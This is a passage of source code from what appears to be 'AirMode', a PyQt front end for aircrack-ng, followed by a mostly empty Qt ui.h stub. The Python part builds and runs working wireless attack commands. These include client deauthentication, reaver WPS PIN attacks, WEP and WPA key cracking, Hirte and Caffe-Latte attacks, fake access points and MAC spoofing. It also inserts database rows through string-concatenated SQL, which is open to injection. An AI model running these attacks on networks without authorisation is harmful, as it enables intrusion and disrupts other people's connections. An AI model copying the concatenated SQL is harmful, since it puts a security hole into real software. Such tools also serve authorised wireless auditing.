404 | self.direct_output('Sniffing and logging started with ' + self.mymon)
405 |
406 | #
407 | # Performs a test of injection
408 | #
409 | def slot_test_inj(self):
410 | if self.check_options(self.ac_opt | self.mymon_opt | self.intf_mode_opt) == 0:
411 | pass
412 | else:
413 | command = 'aireplay-ng -9 -a ' + self.ac + ' ' + self.mymon
414 | ct = Command_thread(command)
415 | ct.start()
416 |
417 | self.direct_output('WEP: Injection test with ' + self.mymon)
418 |
419 | #
420 | # Client deauthentication (WPA handshake)
421 | #
422 | def slot_wpa_deauth_hand(self):
423 | if self.check_options(self.ac_opt | self.deauth_WPA_num_opt | self.ac_victim_wpa_opt | self.mymon_opt | self.intf_mode_opt) == 0:
424 | pass
425 | else:
426 | command = 'aireplay-ng -0 ' + self.deauth_WPA_num + ' -a ' + self.ac + ' -c ' + self.ac_victim_wpa + ' ' + self.mymon
427 | ct = Command_thread(command)
428 | ct.start()
429 |
430 | self.direct_output('WPA handshake attack: Client deauthentication with ' + self.mymon)
431 |
432 | #
433 | # WPS Test
434 | #
435 | def slot_start_wps_test(self):
436 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
437 | pass
438 | else:
439 | command = 'wash -i ' + self.mymon
440 | ct = Command_thread(command)
441 | ct.start()
442 |
443 | self.direct_output('start WPS test...')
444 |
445 |
446 |
447 | #
448 | # WPA PIN attack (WPS attack)
449 | #
450 | def slot_start_wps_attack(self):
451 | if self.check_options(self.ac_opt | self.mymon_opt | self.intf_mode_opt) == 0:
452 | pass
453 | else:
454 | command = 'reaver -i ' + self.mymon + ' -b ' + self.ac + '-a-w'
455 | ct = Command_thread(command)
456 | ct.start()
457 |
458 | self.direct_output('WPA WPS attack: ' + self.ac)
459 |
460 | #
461 | # Clean all the old session files
462 | #
463 | def slot_gath_clean(self):
464 | commands.getstatusoutput('rm -f ' + config_dir + '*.cap ' + config_dir + '*.csv ' + config_dir + '*.xor ' + config_dir + '*.netxml ')
465 | self.direct_output('Logs cleaned')
466 |
467 | #
468 | # WPA Rainbow Tables Cracking
469 | #
470 | def slot_crack_wpa_rainbow_tables(self):
471 | if self.check_options(self.essid_opt | self.rtablesfile1_opt) == 0:
472 | pass
473 | else:
474 | command = 'cowpatty -r ' + config_dir + '*.cap -d ' + self.rtablesfile1 + ' -s "' + self.essid + '"'
475 | ct = Command_thread(command)
476 | ct.start()
477 |
478 | self.direct_output('Cracking WPA with rainbow tables launched')
479 |
480 | #
481 | # Aircrack decript WEP password
482 | #
483 | def slot_crack_wep_aircrack(self):
484 | if self.check_options(self.ac_opt) == 0:
485 | pass
486 | else:
487 | command = 'aircrack-ng -z -b ' + self.ac + ' ' + config_dir + '*.cap | tee ' + config_dir + 'aircrack-log.txt'
488 | ct = Command_thread(command, True, self.add_key_to_database)
489 | ct.start()
490 |
491 | self.direct_output("Cracking WEP with aircrack launched (remember to save database's changes)")
492 |
493 | #
494 | # Start Hirte attack ad-hoc mode
495 | #
496 | def slot_wep_start_hirte_adhoc(self):
497 | if self.check_options(self.essid_opt | self.canale_opt | self.mymon_opt | self.intf_mode_opt) == 0:
498 | pass
499 | else:
500 | command = 'airbase-ng -c ' + self.canale + ' -e "' + self.essid + '" -N -A -W 1 ' + self.mymon
501 | ct = Command_thread(command)
502 | ct.start()
503 |
504 | self.direct_output('Hirte attack ad-hoc mode started with ' + self.mymon)
505 |
506 | #
507 | # Start Hirte attack self.access point mode
508 | #
509 | def slot_wep_start_hirte_ap(self):
510 | if self.check_options(self.essid_opt | self.canale_opt | self.mymon_opt | self.intf_mode_opt) == 0:
511 | pass
512 | else:
513 | command = 'airbase-ng -c ' + self.canale + ' -e "' + self.essid + '" -N -W 1 ' + self.mymon
514 | ct = Command_thread(command)
515 | ct.start()
516 |
517 | self.direct_output('Hirte attack access point mode started with ' + self.mymon)
518 |
519 | #
520 | # Start Caffe-Latte attack
521 | #
522 | def slot_wep_start_latte(self):
523 | if self.check_options(self.essid_opt | self.canale_opt | self.mymon_opt | self.intf_mode_opt) == 0:
524 | pass
525 | else:
526 | command = 'airbase-ng -c ' + self.canale + ' -e "' + self.essid + '" -L -W 1 ' + self.mymon
527 | ct = Command_thread(command)
528 | ct.start()
529 |
530 | self.direct_output('Caffe_Latte attack started with ' + self.mymon)
531 |
532 | #
533 | # Start Fake Access Point
534 | #
535 | def slot_fake_ap_start(self):
536 |
537 | # get fake AP options
538 | ap_essid = str(self.line_fake_ap_essid.text())
539 | ap_chan = str(self.line_fake_ap_chan.text())
540 | ap_wep_key = str(self.line_fake_ap_wep_key.text())
541 |
542 | ap_wep = self.check_fake_ap_wep.isChecked()
543 | ap_wpa = self.radio_fake_ap_wpa.isChecked()
544 | ap_wpa2 = self.radio_fake_ap_wpa2.isChecked()
545 |
546 | ap_adhoc = self.check_fake_ap_adhoc_mode.isChecked()
547 | ap_hidden = self.check_fake_ap_hidden_ssid.isChecked()
548 | ap_no_broad = self.check_fake_ap_no_broadcast.isChecked()
549 | ap_rep_probes = self.check_fake_ap_all_probes.isChecked()
550 |
551 | # Note: 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104
552 | ap_wpa_type = 0
553 | if self.radio_fake_ap_wep40.isChecked():
554 | ap_wpa_type = 1
555 | if self.radio_fake_ap_tkip.isChecked():
556 | ap_wpa_type = 2
557 | if self.radio_fake_ap_wrap.isChecked():
558 | ap_wpa_type = 3
559 | if self.radio_fake_ap_ccmp.isChecked():
560 | ap_wpa_type = 4
561 | if self.radio_fake_ap_wep104.isChecked():
562 | ap_wpa_type = 5
563 |
564 | # check fields
565 | if ap_essid == "":
566 | self.output("no essid specified", 1)
567 | elif ap_chan == "":
568 | self.output("no channel specified", 1)
569 | elif self.mymon == "":
570 | self.output("monitor interface is not set", 1)
571 | elif self.intf_mode != 'Monitor':
572 | self.output("interface not in monitor mode", 1)
573 | else:
574 | # prepare the command
575 | ap_essid = ap_essid.replace(' ', '\ ')
576 | command = 'airbase-ng -e ' + ap_essid + ' -c ' + ap_chan
577 | if ap_wep:
578 | command += ' -W 1'
579 | if ap_wpa and str(ap_wpa_type) != "":
580 | command += ' -z ' + str(ap_wpa_type)
581 | if ap_wpa2 and str(ap_wpa_type) != "":
582 | command += ' -Z ' + str(ap_wpa_type)
583 | if ap_wep_key!='':
584 | command += ' -w ' + ap_wep_key
585 | if ap_adhoc:
586 | command += ' -A'
587 | if ap_hidden:
588 | command += ' -X'
589 | if ap_no_broad:
590 | command += ' -y'
591 | if ap_rep_probes:
592 | command += ' -P'
593 | command += ' ' + self.mymon
594 |
595 | # launch
596 | ct = Command_thread(command)
597 | ct.start()
598 |
599 | self.direct_output('Fake access point started with ' + self.mymon)
600 |
601 | #
602 | # Change mac address
603 | #
604 | def slot_mac_change(self):
605 | if self.check_options(self.change_mac_int_opt | self.change_mac_mac_opt | self.mymon_opn | self.intf_mode_opt) == 0:
606 | pass
607 | else:
608 | # backup of old MAC...
609 | commands.getstatusoutput('if [ -e ' + config_dir + '.macaddress-backup ]; then echo ""; else ifconfig ' + self.change_mac_int + ' | grep HWaddr | sed \'s/^.*HWaddr //\' > ' + config_dir + '.macaddress-backup; fi')
610 | status = commands.getstatusoutput('ifconfig ' + self.change_mac_int + ' down hw ether ' + self.change_mac_mac)
611 | if status[0] != 0:
612 | self.output(status[1], status[0])
613 | return
614 | status = commands.getstatusoutput('ifconfig ' + self.change_mac_int + ' up')
615 | if status[0] != 0:
616 | self.output(status[1], status[0])
617 | return
618 | self.output('Mac address of interface ' + self.change_mac_int + ' changed in ' + self.change_mac_mac, status[0])
619 |
620 | #
621 | # Enable ip forwarding
622 | #
623 | def slot_enable_ip_forward(self):
624 | command = 'echo 1 > /proc/sys/net/ipv4/ip_forward'
625 | ct = Command_thread(command, False)
626 | ct.start()
627 |
628 | self.direct_output('Enable IP forwarding')
629 |
630 | #
631 | # Disable ip forwarding
632 | #
633 | def slot_disable_ip_forward(self):
634 | command = 'echo 0 > /proc/sys/net/ipv4/ip_forward'
635 | ct = Command_thread(command, False)
636 | ct.start()
637 |
638 | self.direct_output('Disable IP forwarding')
639 |
640 | #
641 | # Set random MAC address
642 | #
643 | def slot_random_mac(self):
644 |
645 | if self.check_options(self.periferica_opt) == 0:
646 | return
647 |
648 | # disable interface
649 | status = commands.getstatusoutput('ifconfig ' + self.periferica + ' down')
650 | if status[0] != 0:
651 | self.output(status[1], status[0])
652 | return
653 |
654 | # random MAC address
655 | status = commands.getstatusoutput('macchanger --random ' + self.periferica)
656 | if status[0] != 0:
657 | self.output(status[1], status[0])
658 | return
659 |
660 | # re-enable interface
661 | status = commands.getstatusoutput('ifconfig ' + self.periferica + ' up')
662 | if status[0] !=0:
663 | self.output(status[1], status[0])
664 | return
665 |
666 | self.output("MAC Address changed: " + self.periferica, status[0])
667 |
668 | self.slot_reload_interfaces()
669 |
670 | #
671 | # Select an interface
672 | #
673 | def select_interface(self, interface):
674 |
675 | numrows = self.table_interfaces.rowCount()
676 |
677 | for i in range(0, numrows):
678 | if str(self.table_interfaces.text(i, 0)) == interface:
679 | self.table_interfaces.clearSelection()
680 | self.table_interfaces.selectRow(i)
681 | self.table_interfaces.repaintSelections()
682 | return
683 |
684 | #
685 | # Autoload interfaces
686 | #
687 | def slot_reload_interfaces(self):
688 |
689 | # clear
690 | numrows = self.table_interfaces.rowCount()
691 | for i in range(0, numrows):
692 | self.table_interfaces.removeRow(0)
693 |
694 | # load interfaces
695 | airmon = commands.getoutput("airmon-ng | egrep -e 'wlan[0-9]' | sed -e 's/phy[0-9]\t//g'")
696 | airmon = airmon.split('\n')
697 |
698 | for intf in airmon:
699 |
700 | if intf == "":
701 | continue
702 |
703 | intf = intf.split('\t')
704 | # get mac address
705 | current_mac = commands.getoutput("ifconfig " + intf[0] + " | grep HWaddr | awk ' { print $5 } ' | tr '-' ':'")
706 | current_mac = current_mac[:17]
707 | # get mode
708 | mode = commands.getoutput("iwconfig " + intf[0] + " | tr ' ' '\n' | grep -i 'Mode:' | tr ':' ' ' | awk '{print $2 }'")
709 | # fill table
710 |
711 |
712 | self.table_interfaces.insertRow(0)
713 | item=QtGui.QTableWidgetItem()
714 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
715 | item.setText(intf[0])
716 | self.table_interfaces.setItem(0, 0,item )
717 |
718 | item=QtGui.QTableWidgetItem()
719 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
720 | item.setText(current_mac)
721 | self.table_interfaces.setItem(0, 1,item )
722 |
723 | item=QtGui.QTableWidgetItem()
724 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
725 | item.setText(intf[2])
726 | self.table_interfaces.setItem(0, 2,item )
727 |
728 | item=QtGui.QTableWidgetItem()
729 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
730 | item.setText((intf[3]))
731 | self.table_interfaces.setItem(0, 3,item )
732 |
733 | item=QtGui.QTableWidgetItem()
734 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
735 | item.setText(mode)
736 | self.table_interfaces.setItem(0, 4,item )
737 |
738 | self.table_interfaces.clearSelection()
739 |
740 |
741 | #
742 | # Rescan networks
743 | #
744 | def slot_rescan_networks(self):
745 |
746 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
747 | return
748 |
749 | # clear
750 | numrows = self.table_networks.rowCount()
751 | for i in range(0, numrows):
752 | self.table_networks.removeRow(0)
753 |
754 | # Prepare the command
755 | scan_command = 'airodump-ng --output-format csv --write /tmp/airmode-scan '
756 | if self.combo_channel.currentText() != 'all channels':
757 | scan_command = scan_command + ' --channel ' + self.combo_channel.currentText()
758 | scan_command = scan_command + ' ' + self.mymon
759 | scan_command = str(scan_command)
760 |
761 | # Get output from Airodump-NG
762 | thr = RetardedKill("airodump-ng", self.spin_sec.value())
763 | thr.start()
764 |
765 | status = commands.getstatusoutput(scan_command)
766 | if status[0] != 0:
767 | self.output(status[1], status[0])
768 | else:
769 | self.output("rescan networks",status[0])
770 |
771 | output_raw = commands.getoutput('cat /tmp/airmode-scan*.csv')
772 |
773 | # Parse output
774 | output = output_raw.split("\n")
775 | uniq_bssid = set()
776 | order_id=0
777 |
778 | for out in output:
779 | match = re.match(r"([0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2})\s*,\s*\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2}\s*,\s*\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2}\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*(\w+)\s*,\s*([\w\s]*)\s*,\s*(\w*)\s*,\s*(.\d+)\s*,.+,\s*(.+)\s*,.*", out)
780 |
781 | if not match:
782 | continue
783 |
784 | bssid = match.group(1)
785 |
786 | if bssid in uniq_bssid:
787 | continue
788 |
789 | uniq_bssid.add(bssid)
790 |
791 | channel = match.group(2)
792 | mb = match.group(3)
793 | enc = match.group(4)
794 | cipher = match.group(5)
795 | auth = match.group(6)
796 | pwr = match.group(7)
797 | essid = match.group(8)
798 |
799 | self.table_networks.insertRow(order_id)
800 | item=QtGui.QTableWidgetItem()
801 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
802 | item.setText(QtGui.QApplication.translate("Main_window", essid, None, QtGui.QApplication.UnicodeUTF8))
803 | self.table_networks.setItem(order_id, 0,item )
804 | item=QtGui.QTableWidgetItem(bssid)
805 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
806 | item.setText(bssid)
807 | self.table_networks.setItem(order_id, 1,item)
808 |
809 | item=QtGui.QTableWidgetItem()
810 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
811 | item.setText(channel)
812 | self.table_networks.setItem(order_id, 2,item)
813 |
814 | item=QtGui.QTableWidgetItem()
815 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
816 | item.setText(pwr)
817 | self.table_networks.setItem(order_id, 3,item)
818 |
819 | item=QtGui.QTableWidgetItem()
820 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
821 | item.setText(enc + ' ' + cipher + ' ' + auth)
822 | self.table_networks.setItem(order_id, 4, item)
823 |
824 | item=QtGui.QTableWidgetItem()
825 | item.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEnabled)
826 | item.setText(mb)
827 | self.table_networks.setItem(order_id, 5,item)
828 |
829 | order_id=order_id+1
830 |
831 | self.table_networks.clearSelection()
832 | commands.getstatusoutput('rm /tmp/airmode-scan*')
833 |
834 | #
835 | # Autoload victim clients
836 | #
837 | def slot_autoload_victim_clients(self):
838 |
839 | # clear
840 | self.combo_wep_mac_cfrag.clear()
841 | self.combo_wpa_mac_hand.clear()
842 |
843 | # check *.csv files
844 | if not glob.glob(config_dir + "*.csv"):
845 | self.output("no csv files in " + config_dir, 1)
846 | return
847 |
848 | # open dump file
849 | dump_file = commands.getoutput("cat " + config_dir + "*.csv | egrep -e '^[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}.+[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2}:[0-9a-fA-F]{2,2},' | grep " + self.ac + " | tr ',' ' ' | awk ' { print $1 } '")
850 | dump_file = dump_file.split('\n')
851 |
852 | for mac in dump_file:
853 | self.combo_wep_mac_cfrag.insertItem(0, mac)
854 | self.combo_wpa_mac_hand.insertItem(0, mac)
855 |
856 | #
857 | # Add cracked key to database
858 | #
859 | def add_key_to_database(self):
860 | aircrack_log = config_dir + 'aircrack-log.txt'
861 |
862 | # read cracked key
863 | key = commands.getoutput("cat " + aircrack_log + " | grep 'KEY FOUND' | tr '[]' '\n' | egrep '([a-fA-F0-9]:)+' | tr -d ' \t'")
864 |
865 | # insert a row in the database
866 | self.table_database.insertRow(0)
867 | item=QtGui.QTableWidgetItem()
868 | item.setText(essid)
869 | self.table_database.setItem(0, 0, item)
870 |
871 | item=QtGui.QTableWidgetItem()
872 | item.setText(self.ac)
873 | self.table_database.setItem(0, 1, item)
874 |
875 | item=QtGui.QTableWidgetItem()
876 | item.setText(self.canale)
877 | self.table_database.setItem(0, 2, item)
878 |
879 | item=QtGui.QTableWidgetItem()
880 | item.setText(key)
881 | self.table_database.setItem(0, 3, item)
882 |
883 | item=QtGui.QTableWidgetItem()
884 | item.setText((key_to_ascii(key)))
885 | self.table_database.setItem(0, 4, item)
886 |
887 |
888 | #
889 | # Database changed
890 | #
891 | def slot_database_changed(self):
892 | selrow = self.table_database.currentRow()
893 | if selrow == -1:
894 | return
895 |
896 | key = str(self.table_database.item(selrow, 3))
897 |
898 | item=QtGui.QTableWidgetItem()
899 | item.setText((key_to_ascii(key)))
900 | self.table_database.setItem(selrow, 4, item)
901 |
902 | #
903 | # Add an entry to the database table
904 | #
905 | def slot_database_add(self):
906 | self.table_database.insertRow(0)
907 |
908 |
909 | #
910 | # Delete an entry from the database table
911 | #
912 | def slot_database_delete(self):
913 |
914 | selrow = self.table_database.currentRow()
915 | if selrow == -1:
916 | return
917 |
918 | self.table_database.removeRow(selrow)
919 |
920 | #
921 | # Reload the database
922 | #
923 | def slot_database_reload(self):
924 |
925 | # open the database and a cursor
926 | try:
927 | self.database_connection = sqlite3.connect(self.database)
928 | c = self.database_connection.cursor()
929 | except:
930 | self.output("Error loading database: " + self.database, 1)
931 | return
932 |
933 | # create table if not exists
934 | c.execute('''create table if not exists keys (essid text, bssid text, channel text, key text)''')
935 |
936 | # clear GUI table
937 | numrows = self.table_database.rowCount()
938 | for i in range(0, numrows):
939 | self.table_database.removeRow(0)
940 |
941 | # read and fill database table
942 | c.execute('select * from keys order by essid desc')
943 | for row in c:
944 | essid = row[0]
945 | bssid = row[1]
946 | channel = row[2]
947 | key = row[3]
948 | ascii = key_to_ascii(key)
949 |
950 | self.table_database.insertRow(0)
951 |
952 | item=QtGui.QTableWidgetItem()
953 | item.setText(essid)
954 | self.table_database.setItem(0, 0, item)
955 |
956 | item=QtGui.QTableWidgetItem()
957 | item.setText(bssid)
958 | self.table_database.setItem(0, 1, item)
959 |
960 | item=QtGui.QTableWidgetItem()
961 | item.setText(channel)
962 | self.table_database.setItem(0, 2, item)
963 |
964 | item=QtGui.QTableWidgetItem()
965 | item.setText(key)
966 | self.table_database.setItem(0, 3, item)
967 |
968 | item=QtGui.QTableWidgetItem()
969 | item.setText(ascii)
970 | self.table_database.setItem(0, 4, item)
971 |
972 | # close the cursor
973 | c.close()
974 |
975 | self.output("database reloaded: " + self.database, 0)
976 |
977 | #
978 | # Save the database
979 | #
980 | def slot_database_save(self):
981 |
982 | # open cursor
983 | try:
984 | self.database_connection = sqlite3.connect(self.database)
985 | c = self.database_connection.cursor()
986 | except:
987 | self.output("Error loading database: " + self.database, 1)
988 | return
989 |
990 | # clear database
991 | c.execute('''drop table keys''')
992 | c.execute('''create table keys (essid text, bssid text, channel text, key text)''')
993 |
994 | # read GUI table
995 | numrows = self.table_database.rowCount()
996 | # self.periferica = str((self.table_interfaces.item(selrow, 0)).text())
997 | for i in range(0, numrows):
998 | essid = str((self.table_database.item(i, 0)).text())
999 | bssid = str((self.table_database.item(i, 1)).text())
1000 | channel = str((self.table_database.item(i, 2)).text())
1001 | key = str((self.table_database.item(i, 3)).text())
1002 |
1003 | c.execute("insert into keys values ('" + essid + "', '" + bssid + "', '" + channel + "', '" + key + "')")
1004 |
1005 | # commit and close
1006 | try:
1007 | self.database_connection.commit()
1008 | c.close()
1009 | except:
1010 | c.close()
1011 | self.output("Error saving database: " + self.database, 1)
1012 | return
1013 |
1014 |
1015 | self.output("database saved: " + self.database, 0)
1016 |
1017 |
1018 | #
1019 | # Callbacks for input field text changes
1020 | # updates automagically the global variables...
1021 | #
1022 |
1023 | def slot_gath_int(self):
1024 | self.periferica = str(self.combo_gath_int.currentText())
1025 |
1026 | def slot_interface_selected(self):
1027 | selrow = self.table_interfaces.currentRow()
1028 |
1029 | if selrow == -1:
1030 | self.periferica = ''
1031 | self.mymon = ''
1032 | self.mymac = ''
1033 | self.intf_mode = ''
1034 | return
1035 |
1036 | self.periferica = str((self.table_interfaces.item(selrow, 0)).text())
1037 | self.mymon = str((self.table_interfaces.item(selrow, 0)).text())
1038 | self.mymac = str((self.table_interfaces.item(selrow, 1)).text())
1039 | self.intf_mode = str((self.table_interfaces.item(selrow, 4)).text())
1040 |
1041 | #self.change_mac_int = self.mymon
1042 | #self.line_mac_change_int.setText(self.mymon)
1043 | #self.change_mac_mac = self.mymac
1044 | #self.line_mac_change_mac.setText(self.mymac )
1045 |
1046 | def slot_network_selected(self):
1047 | selrow = self.table_networks.currentRow()
1048 | if selrow == -1:
1049 | return
1050 |
1051 | self.essid = str((self.table_networks.item(selrow, 0)).text())
1052 | self.ac = str((self.table_networks.item(selrow, 1)).text())
1053 | self.canale = str((self.table_networks.item(selrow, 2)).text())
1054 |
1055 | #print self.essid + " " + self.ac + " " + self.canale
1056 |
1057 | def slot_line_database(self):
1058 | self.database = str(self.line_database.text())
1059 |
1060 | def slot_line_crack_wpa_dictionary(self):
1061 | self.dfile = str(self.line_crack_wpa_dictionary.text())
1062 |
1063 | def slot_line_crack_wpa_dictionary_pyrit(self):
1064 | self.dfile2 = str(self.line_crack_wpa_dictionary_pyrit.text())
1065 |
1066 | def slot_line_crack_wpa_rainbow_tables_file(self):
1067 | self.rtablesfile1 = str(self.line_crack_wpa_rainbow_tables_file.text())
1068 |
1069 | def slot_line_gath_logs(self):
1070 | self.config_dir = str(self.line_gath_logs.text())
1071 |
1072 | def slot_line_mac_change_int(self):
1073 | self.change_mac_int = str(self.line_mac_change_int.text())
1074 |
1075 | def slot_line_mac_change_mac(self):
1076 | self.change_mac_mac = str(self.line_mac_change_mac.text())
1077 |
1078 | def slot_line_wep_mac_cfrag(self):
1079 | self.ac_victim = str(self.combo_wep_mac_cfrag.currentText())
1080 |
1081 | def slot_line_wpa_mac_hand(self):
1082 | self.ac_victim_wpa = str(self.combo_wpa_mac_hand.currentText())
1083 |
1084 | def slot_line_wpa_deauth_hand(self):
1085 | self.deauth_WPA_num = str(self.spin_wpa_deauth_hand.text())
1086 |
1087 | def slot_spin_wep_wireless_req(self):
1088 | self.mval = str(self.spin_wep_wireless_req.value())
1089 |
1090 | def slot_spin_wep_wired_req(self):
1091 | self.nval = str(self.spin_wep_wired_req.value())
1092 |
1093 | #
1094 | # Initializer
1095 | #
1096 | def init(self):
1097 | pass
1098 |
1099 | #
1100 | # Fill input fields on program load
1101 | #
1102 | def fill_input_fields(self):
1103 |
1104 | # variables/gui input fields
1105 | self.periferica = ''
1106 | self.periferica_opt = 1 << 0
1107 |
1108 | self.mymon = ''
1109 | self.mymon_opt = 1 << 1
1110 |
1111 | self.mymac = ''
1112 | self.mymac_opt = 1 << 2
1113 |
1114 | self.ac = ''
1115 | self.ac_opt = 1 << 3
1116 |
1117 | self.canale = ''
1118 | self.canale_opt = 1 << 4
1119 |
1120 | self.essid = ''
1121 | self.essid_opt = 1 << 5
1122 |
1123 | self.mval = '68'
1124 | self.mval_opt = 1 << 6
1125 |
1126 | self.nval = '86'
1127 | self.nval_opt = 1 << 7
1128 |
1129 | self.ac_victim = ''
1130 | self.ac_victim_opt = 1 << 8
1131 |
1132 | self.ac_victim_wpa = ''
1133 | self.ac_victim_wpa_opt = 1 << 9
1134 |
1135 | self.deauth_WPA_num = ''
1136 | self.deauth_WPA_num_opt = 1 << 10
1137 |
1138 | self.dfile = ''
1139 | self.dfile_opt = 1 << 11
1140 |
1141 | self.dfile2 = ''
1142 | self.dfile2_opt = 1 << 12
1143 |
1144 | self.change_mac_int = ''
1145 | self.change_mac_int_opt = 1 << 13
1146 |
1147 | self.change_mac_mac = ''
1148 | self.change_mac_mac_opt = 1 << 14
1149 |
1150 | self.rtablesfile1 = ''
1151 | self.rtablesfile1_opt = 1 << 15
1152 |
1153 | self.intf_mode = ''
1154 | self.intf_mode_opt = 1 << 16
1155 |
1156 | # Database
1157 | self.database = database_path;
1158 | self.line_database.setText(self.database)
1159 | try:
1160 | self.database_connection = sqlite3.connect(self.database)
1161 | except:
1162 | pass
1163 | self.slot_database_reload()
1164 |
1165 | # Session file directory
1166 | self.line_gath_logs.setText(config_dir)
1167 |
1168 | # Wireless interfaces
1169 | self.slot_reload_interfaces()
1170 | print "interface reloaded"
1171 | if selected_interface != '':
1172 | print "interface not empty"
1173 | self.periferica = selected_interface
1174 | print "selecting "+selected_interface
1175 | self.select_interface(selected_interface)
1176 |
1177 |
1178 | # Various directories
1179 | self.line_crack_wpa_dictionary.setText(home_dir)
1180 | self.line_crack_wpa_dictionary_pyrit.setText(home_dir)
1181 | self.line_crack_wpa_rainbow_tables_file.setText(home_dir)
1182 |
1183 | # WPA deauth
1184 | self.slot_line_wpa_deauth_hand()
1185 |
1186 | # Tables
1187 | self.table_interfaces.clearSelection()
1188 | self.table_networks.clearSelection()
1189 |
1190 |
1191 | #
1192 | # This function initialize the config directory
1193 | #
1194 | def init_config_dir():
1195 | global def_term
1196 |
1197 | # check config dir
1198 | if not os.path.exists(config_dir):
1199 | os.mkdir(config_dir)
1200 | #subprocess.getstatusoutput('zenity --info --window-icon=/usr/local/buc/icons/attenzione.png --title="AirMode" --text="Hello and Thanks for using AirMode this is the first run, and ~/.airmode is now created."')
1201 |
1202 | print ('\nConfig directory OK\n')
1203 |
1204 | #
1205 | # This function perform various checks
1206 | # on program load
1207 | #
1208 | def check_all():
1209 |
1210 | # check for root uid
1211 | if not os.geteuid()==0:
1212 | main_window.direct_output('Error: You should run this program as root! ;-D')
1213 |
1214 |
1215 |
1216 | #
1217 | # MAIN FUNCTION
1218 | # The program starts here
1219 | #
1220 | if __name__ == "__main__":
1221 | import sys
1222 | app = QtGui.QApplication(sys.argv)
1223 | ui = Main_window_ex()
1224 |
1225 | # initialize config directory
1226 | init_config_dir()
1227 |
1228 | # change working directory
1229 | os.chdir(config_dir)
1230 |
1231 | # performs various checks
1232 | check_all()
1233 |
1234 | # config init function
1235 | config_init()
1236 | # config end function
1237 | config_end()
1238 |
1239 | # fill the GUI
1240 |
1241 | ui.fill_input_fields()
1242 |
1243 | # ui.fill_input_fields()
1244 | ui.show()
1245 | sys.exit(app.exec_())
1246 |
1247 |
1248 |
1249 |
1250 |
1251 |
1252 |
1253 |
1254 |
--------------------------------------------------------------------------------
/airmode.ui.h:
--------------------------------------------------------------------------------
1 | /****************************************************************************
2 | ** ui.h extension file, included from the uic-generated form implementation.
3 | **
4 | ** If you want to add, delete, or rename functions or slots, use
5 | ** Qt Designer to update this file, preserving your code.
6 | **
7 | ** You should not define a constructor or destructor in this file.
8 | ** Instead, write your code in functions called init() and destroy().
9 | ** These will automatically be called by the form's constructor and
10 | ** destructor.
11 | *****************************************************************************/
12 |
13 |
14 |
15 | void main_window::slot_wep_capture_req()
16 | {
17 |
18 | }
19 |
20 |
21 | void main_window::slot_crack_wpa_aircrack()
22 | {
23 |
24 | }
25 |
26 |
27 | void main_window::slot_crack_wpa_pyrit()
28 | {
29 |
30 | }
31 |
32 |
33 |
34 |
35 |
36 |
37 | void main_window::slot_mac_restore()
38 | {
39 |
40 | }
41 |
42 |
43 | void main_window::slot_monitor_on()
44 | {
45 |
46 | }
47 |
48 |
49 | void main_window::slot_net_map_on()
50 | {
51 |
52 | }
53 |
54 |
55 | void main_window::slot_wep_arp_inj_cfrag()
56 | {
57 |
58 | }
59 |
60 |
61 | void main_window::slot_wep_arp_inj_chop()
62 | {
63 |
64 | }
65 |
66 |
67 | void main_window::slot_wep_arp_inj_frag()
68 | {
69 |
70 | }
71 |
72 |
73 | void main_window::slot_wep_assoc_fake_auth_cfrag()
74 | {
75 |
76 | }
77 |
78 |
79 | void main_window::slot_wep_assoc_fake_auth_frag()
80 | {
81 |
82 | }
83 |
84 |
85 | void main_window::slot_wep_assoc_fake_auth_rep()
86 | {
87 |
88 | }
89 |
90 |
91 | void main_window::slot_wep_assoc_fake_auth_req()
92 | {
93 |
94 | }
95 |
96 |
97 | void main_window::slot_wep_create_arp_cfrag()
98 | {
99 |
100 | }
101 |
102 |
103 | void main_window::slot_wep_create_arp_chop()
104 | {
105 |
106 | }
107 |
108 |
109 | void main_window::slot_wep_create_arp_frag()
110 | {
111 |
112 | }
113 |
114 |
115 | void main_window::slot_wep_fake_auth_chop()
116 | {
117 |
118 | }
119 |
120 |
121 | void main_window::slot_wep_start_chop()
122 | {
123 |
124 | }
125 |
126 |
127 | void main_window::slot_wep_start_frag()
128 | {
129 |
130 | }
131 |
132 |
133 | void main_window::slot_wep_start_rep()
134 | {
135 |
136 | }
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 | void main_window::slot_wep_test_inj()
145 | {
146 |
147 | }
148 |
149 |
150 | void main_window::slot_wpa_deauth_hand()
151 | {
152 |
153 | }
154 |
155 |
156 | void main_window::slot_wpa_start_sniff_hand()
157 | {
158 |
159 | }
160 |
161 |
162 | void main_window::slot_wpa_test_inj()
163 | {
164 |
165 | }
166 |
167 |
168 | void main_window::slot_crack_wep_aircrack()
169 | {
170 |
171 | }
172 |
173 |
